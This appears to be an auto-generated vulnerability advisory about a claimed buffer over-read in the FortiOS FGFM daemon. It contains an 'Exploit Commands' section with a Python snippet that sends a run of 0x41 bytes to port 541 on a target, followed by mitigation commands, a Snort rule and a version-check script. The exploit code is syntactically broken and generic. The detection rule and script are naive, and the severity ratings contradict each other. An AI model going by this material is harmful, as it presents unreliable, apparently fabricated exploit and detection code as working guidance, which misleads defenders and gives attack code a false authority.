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How the CVE Works
CVE-2025-47295 is a critical buffer over-read vulnerability in Fortinet FortiOS affecting versions 7.4.0-7.4.3, 7.2.0-7.2.7, and 7.0.0-7.0.14. The flaw resides in the FGFM (FortiGate Fabric Management) daemon, which mishandles memory operations when processing crafted requests. An unauthenticated attacker can exploit this by sending a malicious payload, causing the daemon to read beyond allocated memory bounds. While exploitation is complex due to rare environmental conditions, successful attacks lead to a denial-of-service (DoS) by crashing the FGFM service. The CVSS 4.0 score reflects high severity due to potential service disruption in critical network environments.
DailyCVE Form
Platform: Fortinet FortiOS
Version: 7.4.0-7.4.3
Vulnerability: Buffer Over-read
Severity: Critical
Date: 06/04/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Analytics:
- Exploitability: Low (requires rare conditions)
- Impact: High (DoS in critical infrastructure)
- Attack Vector: Remote (unauthenticated)
Exploit Commands:
1. Craft Malicious Request:
import socket target_ip = "192.168.1.1" payload = b"\x41" 1024 Overflow trigger sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, 541)) sock.send(payload)
2. Check FGFM Status (Post-Exploit):
ssh admin@fortigate ps aux | grep fgfm
Mitigation Commands:
1. Immediate Workaround:
config system interface edit "mgmt" set allowaccess ping https ssh end
2. Patch Verification:
get system status | grep Version
3. IDS Rule (Snort/Suricata):
alert tcp any any -> $HOME_NET 541 (msg:"FortiOS FGFM Exploit Attempt"; content:"|41 41 41|"; depth:1024; sid:10047295;)
Detection Script:
import requests
def check_vulnerable(ip):
try:
r = requests.get(f"https://{ip}/api/v2/cmdb/system/status", timeout=5)
return "7.4." in r.text or "7.2." in r.text
except:
return False
Post-Patch Actions:
- Restart FGFM:
diagnose test application fgfm 99
- Audit Logs:
grep fgfm /var/log/messages
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
